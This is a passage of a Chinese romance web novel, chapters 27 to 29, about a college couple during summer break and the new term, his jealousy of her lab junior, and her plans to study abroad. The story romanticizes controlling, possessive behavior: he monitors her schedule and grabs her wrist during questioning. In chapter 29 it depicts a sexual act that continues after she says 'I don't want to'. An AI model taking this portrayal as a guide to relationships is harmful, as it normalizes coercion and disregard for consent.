宋淮靳熄灭手机屏幕,松开林杳眠的手,撩起她的黑发别到耳朵后面。
他的目光落在她晶莹剔透的眼睛上,一下子顿住。暖黄色灯光的衬托下,她的眼眶微微发红,仿佛下一秒就会有泪珠子掉下来。她的手一直在抖。
那把刀彻底插进他的心脏。
宋淮靳的胸膛剧烈地起伏。
“我不是都解释清楚了吗?”
他用拇指按在她的眼下,潮意辗转在两个人的皮肤之间。
“那些女生是找我要号码,但是我没给,我不认识她们。我每个朋友都知道我谈恋爱了。”
宋淮靳不理解,他都解释清楚了,也给她看了。
为什么她还要哭。
林杳眠视线模糊地看着宋淮靳的脸。
他微微皱着眉,眼尾下垂,她很熟悉的表情。她伸出手能触摸到他的皮肤,和往常一样温热。
中央空调的风呲呲地从通风口钻进来。
林杳眠突然张开手,用力搂住他的脖子,试图驱散房间里的冷意。
27. 绳
今年夏天降雨频繁,气象专家称截止到八月初,京市的降雨量已达到往年同期的两倍。
瓢泼大雨冲刷掉了大部分东西,城市街道也变得干干净净。
林杳眠在期末刚结束的时候抽空回了趟芜川。
家里一切还是老样子,外婆叫不上她的名字。蒋悦带的班级处于高二升高三的暑假,蒋悦往往晚上十点才到家,第二天一大早又离开。
在芜川呆了一周,林杳眠甚至没和蒋悦一起吃过几顿饭。相处时间最长的那一天是蒋悦到她去教书的学校,给班上学生分享高考经验。
时隔两年,状元头衔还是那么好使。这两个字一搬出来,讲台下的学生连连赞叹。
林杳眠觉得她讲了很多废话,比如要多练习薄弱知识点,跟着老师的教学节奏走,第一轮大复习最重要。
她想不出更多能够分享的东西,因为她当时似乎只做了这些。老师说什么,她做什么,再无特别。
学生们肯定很失望。林杳眠猜的。
但蒋悦显然满意得不得了,敲着黑板提醒下面:“听到没?状元也是这么过来的!”
人当然有比较,才有差距。
当蒋悦得知林杳眠暑假留在京市是为了和同学参加科创竞赛的时候,又用班主任的惯用口气说:“你跟别人也讨教下经验,看别人怎么学习的。”
林杳眠一脸严肃地点头,表示赞同。
其实她不会从闻妙冬那儿学习到任何经验。数学领域天才和普通人的差距之大,远超其他任何学科。
航班降落在京市,林杳眠换乘两次地铁到达京大西门,拖着行李箱去校内的驿站取快递。
快递的始发地是俄罗斯,里面装着她给宋淮靳准备的生日礼物,一只手作玩偶,灵感来自《山海经》中的食梦貘。由于俄罗斯的手作艺术家不了解这类东方传说中的形象,林杳眠花了很多功夫和对方沟通,在网上找了很多示意图展示,每个一个细节都反复确定。
经过三个月的漫长工期,这只玩偶终于制作完成,翻过高山,抵达京市。
屋子大的好处就是随便地方就能把这个礼物藏起来,避免被宋淮靳发现。
林杳眠希望他从港岛回来以后会喜欢这个礼物。
宋淮靳是临时被通知回去的。他不在的时间,林杳眠让他给两位阿姨放了假。他被人伺候惯了,但她不行。
每天晚上宋淮靳和她通话的时间越来越长,和年初一个人呆在京市时那种别扭式的抱怨不同,他会用平淡的口气描述在港岛的生活。
总结为三个字:
很无聊。
林杳眠在这一刻产生了微弱的好奇。
“你回去都干了什么?”
宋淮靳一顿,回答道:“很无聊的事。”
签股权转移书,参加董事会会议,听钟屹远没完没了的人生教导。
拿着手机的林杳眠默默抬起头,望着天花板。他的话说了跟没说有什么区别。
宋淮靳感受到她的沉默,话锋一转,挑起另外一个话题:“我特别想你,这几天我都没有睡好,一直做噩梦。”
那她给他准备的生日礼物还真是买对的,尽管并不是她的初衷。
“你做什么噩梦了?”
“梦到睡醒了,但你人不在。”宋淮靳似乎站在风很大的地方,风声呼啦啦地往听筒里灌,“然后就吓醒了,结果发现旁边真的没有人。”
他擅长用平静的语气陈述难过的事。
林杳眠听得喉咙一紧,缓慢地安慰他:“我外婆说梦都是反过来的。”
他笑了下:“对,梦都是反过来的。”
“你准备什么时候回来?”
“你想我回来吗?”宋淮靳的声音循循善诱,但明明他才是撒娇要糖吃的小孩。
林杳眠安静下去。
想啊。怎么会不想呢。
他在那边又过得不开心,即使回了家也不开心。
最后她重重地嗯一声。
“想。”
*
第二天一早,林杳眠睡到半梦半醒间感到腰上覆上一阵热。她一下子惊醒过来,叫声还没来得及发出去,便被人悉数封住。
熟悉的甘草薄荷的味道,从唇缝里溜进来。
她的双手被摁在枕边,亲到头脑发昏,尝试挣脱钳制。
手指勾到一根柔软的绳。发绳在尺寸不匹配的腕骨上被佩戴久了,材料失去部分弹力。
宋淮靳之前向她索要走的,原来是这个用处。
林杳眠获得了重新呼吸的机会,充沛的氧气被过渡到大。她反应过来:“你怎么回来了?”
“不是你叫我回来吗?”宋淮靳又亲了亲她的耳侧。
想他回来,叫他回来。两者之间有天壤之别。林杳眠一低头看见那根黄色的发绳,最简单的款式,某宝上十块钱一整袋,给女孩子用来扎头发的,和他的手放在一起很突兀,仿佛嵌进皮肤里。
林杳眠固定住他的手,开始往下扒拉。
宋淮靳的体格和力气远超她,所以轻易挣脱走了。他不满地问:“你干什么?”
“你把它取下来!”她拔高音量。
“我不要。”拒绝的话也跟小孩似的干脆。
林杳眠急了,趁他不注意,强行把皮筋扯下来。
一圈红痕明晃晃地围绕在他冷白的腕骨。
长时间的佩戴,或许洗澡也没有取下来,化学品浸进去,粘黏在皮肤表面,导致过敏。
“你到底在想什么?”林杳眠难以置信。
“你不该留点东西在我身上宣示主权吗?我戴着你的发绳不是更好打发别的女生吗?万一你又生气怎么办?”宋淮靳的语气冷静,他显然清楚自己正在说的话。
林杳眠彻底失去语言能力。她缓缓地又去思考那个没有答案的问题,仿佛走进一个迷宫,找不到出路,最后只能说:“我给你买个新的。”
宋淮靳很固执。
“我就要这个。”
“不可能,你手都勒成这样了。”
“那又有什么关系?”
“宋淮靳!”林杳眠厉声叫他的名字,“你再这样我要生气了!”
听到她的话,宋淮靳的表情先是愣住,随后变成惊讶,最后剩下委屈。
“我不想你生气。”他的目光装着难以形容的情绪,“我真的有很努力在讨你开心。
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”
她不需要他通过这种的方式讨她开心。
林杳眠的视线越过他,看向后面纯白色的墙。她只是在口头上重复一遍:“我下午带你去买新的。”
宋淮靳得到了一根新的替代品,来自一线奢侈品牌。
接待他们的柜姐笑得灿烂如花,连夸带捧,就差把两个人说成银河里的牛郎织女了。因为男士饰品是店里最难卖出去的商品。
在收银台前,柜姐又附赠林杳眠几个香水小样,贴心地笑:“有喜欢的话下次可以再来买哟。”
那必然是不可能再来了,林杳眠深呼吸一口,扫码付款。而一旁的宋淮靳盯着手上的黑色手绳,一声不吭。
原本戴在他手腕上的发绳被林杳眠扔进了垃圾桶。但他一点也不想要新的,这种谁都可以买到。
他想要她用过的,独一无二的。
宋淮靳还是拿出手机拍照,然后发在朋友圈以及乱七八糟的群聊当中。
中心思想只有一个:「女朋友送的。」
现在终于有机会昭告天下了。
他没有屏蔽任何人。这意味着列表里的间谍也会看到这条消息,然后传达给钟屹远。
宋淮靳非常期待父子俩下一次的隔空对话,因为不管钟屹远会对此作出什么反应,他都胜券在握。
回到公寓,林杳眠坐在沙发上平复心情。
冲动消费的后果是空虚的钱包和延迟到来的肉痛。
一个破手绳怎么能有这么贵!
宋淮靳去厨房里拿水,看见灶台上的简单厨具,绝对不是中年妇女会加入购物车的类型,而且阿姨不会使用这个厨房。
这些是只有年轻女生才会买的卡通款式。
他返回客厅问:“为什么厨房多了那么多东西?”
“我在家不得做饭吃吗?”林杳眠面无表情地回答。
在家两个字让宋淮靳十分受用,但他还是关注到重点。
“你为什么会做饭?”
“我为什么不会做饭?”
白痴一般的对话。
林杳眠还沉浸在小金库清空的惆怅中,过一会儿才后知后觉地理解宋淮靳提问的本义。
“我外婆生病需要人照顾,我妈上班又忙,我从初中就会做饭了。”
当没有人照顾自己的时候,就需要学会照顾别人。
他初中在干什么?宋淮靳回忆起他人生中的同一时间点。
初中刚被拎回港岛。噢对,一把给人按在花台上,揍掉了别人两颗门牙。
宋淮靳突然说:“我们晚上出去吃。”
“噢,好的。”林杳眠心里的小人还在捶胸顿足,回答得心不在焉。
所以她又被压在沙发上亲了半天。
余光暼见挂在他手腕的黑曜石。其实当时柜姐夸得也不全是违心的话,戴他手上确实挺好看的。
晚上用完餐回公寓的路上,林杳眠让宋淮靳绕路去了趟药房。
等宋淮靳洗完澡出来,让他伸出手,给红肿的皮肤痕迹涂上药,强调说:“以后不能再这样了。”
他扬起一个灿烂的笑容,没有说话。
林杳眠默认他听懂了。
28. 过敏
林杳眠人生中第一次没有在只能装下一张单人床、一个衣柜和一张书桌的卧室中度过暑假。
在空闲时间,林杳眠和宋淮靳去了京市很多著名景点。她久违地又拿起了相机。
前年秋天从京大入学时,她和袁曼香摩拳擦掌说要好好利用周末把京市大大小小的逛个遍。结果军训一结束,两个人直接在寝室躺尸,谁也不想动弹。开学以后不是你忙就是我忙,两个人不约而同地不再谈起打卡计划。
待久了,新鲜劲儿一过,这座城市的光环褪去,似乎也就那个样子。
令人愉悦的事总是碰撞在一起,宋淮靳生日当天,林杳眠的抱大腿项目也成功提交。她兴奋在沙发上搂着宋淮靳的脖子,又去捏他的脸,语气里止不住的高兴:“我有种预感绝对能获得金牌。”
晚上,林杳眠把藏起来很久的礼物交给他。
宋淮靳低垂着眼:“这是什么?”
玩偶形似小熊,却有长长的鼻子,毛发黑白相间,还有蓬松的尾巴,琉璃珠制成的眼睛在灯光下闪烁微光。
“这是中国传说中的食梦貘,能吃掉噩梦。我找一位俄罗斯艺术家定制的,等了好长时间。”林杳眠轻轻触碰下食梦貘的鼻头,“以后你回港岛就可以带着,再也不怕做噩梦了。”
“我不会回港岛。”宋淮靳反驳她,“而且有你在我不可能做噩梦。”
“那你不喜欢的话我就带回去摆着自己看。”林杳眠作势要去拿。抛开其他因素,这只玩偶的做工精良,好像一只真的小动物,下一秒就会跑到枕头边上吸走噩梦。
宋淮靳举起毛茸茸的玩意儿,到她够不到的高度。
“哪儿有人送了礼物又要回去的?”
林杳眠轻哼一声,搂住抱枕坐回沙发上。
男生果然是口是心非的动物。
宋淮靳的下巴搁在她肩膀上,从背后抱着她说:“我们十月放假去哪儿玩?”
玩玩玩。
这才刚过八月,开学都没到,还十月放假。
林杳眠一撇嘴:“到时候再说。”
十一黄金周,去哪儿都是人挤人,还不如在家呆着自在,或者回芜川看外婆。
宋淮靳在她肩膀上咬一口,表达不高兴的情绪:“什么到时候再说,出去玩你要提前办理签证。你不说我就自个儿安排了。”
办签证就是要出国。小金库才被掏空不久的林杳眠觉得这不是选项之一。
她剩下否定的话没有说出来。
宋淮靳扭过她的头,固定在宽阔的手掌里,缠绵又着迷地湿吻。
*
开学后不久,照宿管所说,一位新的女生搬进了宿舍。
但袁曼香的床位上只剩下空荡荡的蚊帐,林杳眠留在寝室的也只有一些杂物。她的衣服和日常用品在暑假中间像蚂蚁搬家似地一点一点被迁移到宋淮靳的公寓。
或许对于新舍友来说也是好消息,独享整个空间。
师兄告诉林杳眠,实验室里来了一位新的帮忙搞科研的本科生,麻烦她前期稍微照拂下,好让那位学弟尽快熟悉实验室的环境然后把上手干活。
出乎意料的是,她碰巧认识这位来自计算机学院的学弟——江向阳。
江向阳也感到很意外,笑着说:“张学长一直跟我说实验室里还有一个特别厉害的本科生,马上要自己发论文了,没想到原来是学姐你。”
林杳眠尴尬得脚趾扣地。
张师兄以后绝对是拉科研资金的一把好手,说话自带美化滤镜。她的论文纯属胚胎阶段,连文献检索都没开始,只不过在某次组会上提了一个idea,被庄教授夸了两句,说有可行性,往这个方向做做看。
林杳眠给江向阳讲解了实验室的一些情况,
途中,她接到宋淮靳的电话。
那一端的人声线嘶哑:“我好像过敏了。”
林杳眠紧张地问:“怎么会呢?你出去吃什么东西了吗?”
他的饮食被严格控制,出去吃饭也会跟餐厅的服务员仔细沟通,不应该出现这种情况。
“不知道。反正踢完球回家以后身上痒得厉害。”
林杳眠叮嘱道:“那你先吃过敏药。如果明天没有好转我们就去医院。”
她挂断电话,江向阳投来好奇的目光。
林杳眠不好意思地笑了笑:“我男朋友的电话,他生病了。我接着带你去机房看下,教你怎么登陆账号。”
听到前半句话,江向阳微微一怔,随即和煦地笑起来:“学姐男朋友也是二字班的吗?”
“不是,他是经管专业的,跟你一样念大二。”
...
林杳眠到家换下鞋,一抬眸看见宋淮靳神情恹恹地倚在沙发上玩手机。
客厅里的灯也没开,夕阳的余晖透过玻璃洒在地板上,染出暖色的光晕。
她放下背包,走过去检查他的手臂。零星的红斑散布在手臂,蔓延到脖颈。不算很严重的症状。
林杳眠问:“吃过药了吗?”
“吃过了。”宋淮靳头也不抬,目光依旧停留在手机上,手有一搭没一搭地在屏幕上划来划去。
吃过药就行。
林杳眠松了口气,起身准备去拿笔记本电脑
沙发上的人又出声:“你最近很忙吗?”
她回过头,只看见他浓密柔软的头顶。
“也没有很忙。”论文计划还没正式开始,后面估计才会忙得够呛。
宋淮靳放下手机,眼皮一掀,望着她:“现在八点了,你才回来。你课表上今天的最后一节在下午四点。”
“因为今天实验室来了个新人,师兄拜托我帮忙教一下。”
宋淮靳的唇线几乎在她说话的同时抿成一条直线。。
“男生还是女生?”
“男生。”在他表情耷下去之前,林杳眠赶紧补充,“我们师兄这周出去参加学术会议了,才叫我帮忙的。”
她应该说江向阳三个字,宋淮靳是认识这个名字。但是介于之前宋淮靳对这三个字耿耿于怀,林杳眠最后还是吞了下去。他发起小脾气相当难哄。
江向阳和她看起来在同一个实验室,但两个人忙的是不同的项目,平时也
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不会有什么交集。
宋淮靳的脸色缓和几分,他盯着她温柔姣好的面容,说:“你昨天也是六点就下课,但是我晚上接近九点才回来。”
前天也是。连续两周都是。
两个人待在一起的时间屈指可数。
林杳眠放弃拿电脑继续工作的计划,转而陪他坐在沙发上,搂住他肩膀,在他的脸颊上亲了一口:“因为在实验室看文献,要是运气好的话,大三这年就能发文章,我大四出去交换还可以接着参与...”
“你大四打算出去交换?”宋淮靳掐着她的腰,迫使她换了个姿势,跨坐在自己腿上。
林杳眠嗯了一声,继续说:“我算了算,大三这年努努力把专业课考完,大四找国外的实验室做RA和写毕业论文,顺利的话可以在本科毕业后无缝衔接上读博。”
她说话的时候神采奕奕,眉毛上扬,眼角有细细的笑纹,小巧的酒窝荡漾在嘴角,真实的喜悦和对未来的期盼。
宋淮靳安静一会儿,问:“准备去哪儿?”
“美国吧,其他国家也会试试,但主要还是申请北美那边的学校。”
“我不想和你分开。”他微微仰着头,碎发滑落在前额。
林杳眠陷入沉默。
毕业季是百分之九十校园恋爱的终点。大学的墙把现实的残酷虚化了,等到一毕业,血淋淋的现实压下来,找工作、异地、见少离多...等待其中一方说出忍了很久的话:算了吧我好累
咔嚓,校园时期的美好就这样被斩断了。
林杳眠的手撑在他肩膀上,触摸到绷紧的肌肉。
灯光从他的瞳孔反射而出,水光潋滟的眼神,鸦羽一样的睫毛压在上面,让人忍不住想亲近。
“我们又不是分手。”一句简短的话,林杳眠说得磕磕绊绊,因为她没有把握。
不仅是对未知的将来,还有他这个人。
最近宋淮靳表现得一切正常,但那一晚他抓着她的手在她耳边低语的场景还历历在目。
她还没找到答案。
宋淮靳目光沉沉地望着她。
林杳眠的心提到嗓子眼,不知道他似浓墨般的眸子装着什么思绪。
宋淮靳却倏地眉眼一弯:“我们当然不会分手。我只是说如果你出去交换的话,我们就不能待在一起了。我不想这样。”
他说得漫不经心,似乎在思考。
随后,他埋在她胸前,鼻尖贴在细细的锁骨上。
“我跟着你一起去吧。”
他的语气过于认真,但林杳眠觉得这句话根本不现实。她自己都不知道到时候能去哪儿。而且他也要上课,怎么可能真的跟着。
宋淮靳仿佛看穿了她的想法,摁住她的头向下带,直到两个人的鼻尖亲昵地贴在一起。
阳光在他的一半脸颊上镀上一层金光,而他的另外一半脸则隐匿在阴影。
他的气息缠绕在她鼻间。
“不管你去哪儿,我保证跟着你。”
“我不想你和分开。”他又喃喃地重复一遍。
“一点都不想。”
29. 闭嘴
下楼以后,林杳眠看见玻璃门的一侧站了个修长的身影,穿着白色的球衣,短裤以下腿部的肌肉线条展露无遗。
“宋——”
身后的楼梯上方,江向阳说话的音量盖过她:“学姐,你水杯忘了拿了。”
宋淮靳抬头,他的表情淡淡,看不出来在想什么,目光从林杳眠身上挪开,投向她身后的人。
江向阳把蓝色的随行杯递给林杳眠。
林杳眠神情微滞,接过来说:“谢谢。”
“学姐客气,”江向阳朝她挥下手,回到楼上。
林杳眠猛地转过身。
宋淮靳的眉眼沉在一片浓雾之中,等她走近,他面无表情地说:“这就是你说的新同学吗?”
完了,又要开始了。
“你不是说你下午要去踢球吗?”
说这话的时候,林杳眠有片刻的心虚,但很快又在平衡下来,她之前和他说的全是实话,只是没有专门提江向阳的名字而已。
“早结束了。我在微信上给你发了消息说我过来接你,你没有回。”宋淮靳用力拽住她的手腕,“你为什么不回答我的问题?”
林杳眠一时间失语。宋淮靳比她高很多,这会儿低头看她,光从背后照进来,阴影笼罩在她身上,他下垂的眼尾有种风雨欲来的感觉。
“是,还是不是。”宋淮靳握在她手腕上的力道加大。
沉默一会儿,林杳眠认命地承认:“是。”
“但我们两个参与的不是同一个项目,在机房都是各忙各的。而且他知道你是谁。”
宋淮靳脸上缓和几分,但他淡红色的嘴唇仍然紧紧抿在一起,拉着林杳眠往外走。
难看的神情持续到了餐桌上,宋淮靳整个人被一层生人勿近的气息笼罩住。
“我吃完了。”他冷冷丢下一句话,筷子放到一旁。
他径直上楼,砰地一声关上书房的门。
林杳眠觉得自己犯了一个致命的错误。
师兄跟她讲,在训练设置参数的时候不能让模型只着眼于当下的收益,还要考虑到长期收益。
她在那天晚上只想到了他在那一刻会不会发小脾气,忽略了他可能迟早会发现这件事,然后大发雷霆。
林杳眠敲了三次书房的门,无人回应。
第四次的时候,她拧开了门把手。
宽大的暗木色书桌前摆了一本教材和两三张草稿纸,宋淮靳坐在椅子上低头玩手机。
听见开门声,他也没有抬头。
林杳眠走过一看,宏观经济学五个大字写在教材封面上,草稿纸一片空白。
台灯的亮度被调到最低,他俊秀的五官在昏暗的房间内也变得阴晦起来。
“不生气了,好不好?”
宋淮靳眼下的小片阴影微微翕动。
久久的一言不发,手指在屏幕上机械式地滑动。
林杳眠抽走他的手机,倒扣在桌上,叹息一声:“你要怎么样才能消气?”
她想了想。
“我下周尽量早点回来一起吃饭?”
“假期你想去哪儿玩?都听你的。”
…
宋淮靳半明半暗的脸上没有任何反应,他低着头下巴绷紧,眼神深邃地盯着桌上的教材。
房间内的冷气温度调得很低,她穿着短袖短裤,丝丝寒意缠上裸露在外的皮肤。
好冷。
林杳眠说:“你现在不想看见我的话,我就先出去了。”
她眼神缥缈地看向窗外。夏天噼里啪啦的雨一砸到玻璃上变得有气无力,缓慢地顺着水痕往下跌。
一转身,她的手被扣住,整个人被一股蛮力拉回去,跌坐在他腿上。
这个姿势很没有安全感,林杳眠下意识搂紧他的脖子,源源不断的热钻进手臂。
宋淮靳野蛮咬上她的嘴唇,疯狂在里面索求。
黏腻的搅动声通过骨骼传进耳朵。
林杳眠陷入进退维谷的境地,她想躲的时候身后空无一物,攀住他就要承受住亲吻,他在其中毫不遮掩地发泄情绪,通过过舌尖,林杳眠真切地感受到他的恼怒。
她几乎要受不住了,学着他的样子用力咬了一口他的嘴唇,反而招惹上更猛烈的纠缠。
墙上的时钟不停转动,不知过了多久,宋淮靳终于放开她,他用手控住她的后颈,低头欣赏她迷蒙的表情,眼睛含波,仿佛下一秒就会流出水,头发凌乱地贴在脸颊两侧,嘴唇也微微发肿,像一个被弄坏的洋娃娃。
“我要出去…”林杳眠磕磕绊绊地说。
她近距离坐在他腿上,理所当然地注意到他的不对劲,他的呼吸声愈发厚重。
宋淮靳的手掀
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起她短袖的下摆,钻进去,在柔软的腰窝流连忘返。他用鼻尖蹭过她的脸颊,慢慢挪到耳朵,声音嘶哑地说:“你会很舒服的。”
侧腰又被掐了下,引起一阵颤栗。
等林杳眠反应过来的时候,已经被放到桌上,衣服卷起边,小腹暴露在空气中。
她哆嗦地看着宋淮靳低下头,然后腹部传来柔软的触感。
他越来越往下。
林杳眠终于意识到他要做什么,她腰下还垫着他厚厚的教材,一低头看见他埋下去的头顶,巨大的羞耻心袭来。
“不要。”
两个字未能阻止住宋淮靳。
她抵在下方的手被迫穿梭在他柔软的发间,然后在某个瞬间抓紧。
...
林杳眠像一只煮熟的虾仁蜷缩在床上。
她不想去回忆,但难以启齿的一幕偏偏不听话地钻进脑子里。
最后宋淮靳抬头起身的时候,锁骨在灯光下反射出水光,他的圆边衣领下方被弄湿了一大片。
浴室里漫长的水声停止,林杳眠宁愿今晚它一直响下去。
宋淮靳洗过澡的皮肤微微发凉。他的声线明显变得愉悦:“你这么害羞干嘛?这只是正常的生理反应。”
“你闭嘴。”林杳眠虚浮地说,声音小如蚊呐。
宋淮靳对命令不予理睬,蹭在她的后颈说:“你明天还要去实验室吗?去的话,我晚上来接你。我以后让李阿姨晚点送饭过来。”
“去。你来吧。”林杳眠放弃似地闭上眼,想到他刚才干出来的事,睫毛震颤。
忙碌一天,情绪跌宕起伏,又经历那种事,她的神经完全被疲惫麻木了。
“你听起来就不乐意。”
林杳眠混沌地解释:“没有不乐意,我不想你生气。你我明天尽量早点走,我们一起回家吃饭。”
宋淮靳听出来了她声音里浓浓的倦意,像一把小刀扎在他心上,一下又一下。
他不知道这种倦意是因为她才经历过的多巴胺时刻,还是其实存在已久现在才被释放出来罢了。
听到怀里均匀的呼吸声。
宋淮靳缓慢地蹭在她后颈,想要确认什么。
他今天的确很生气,快气疯了。
但是她不喜欢他这个样子。
要控制住,他反复告诉自己。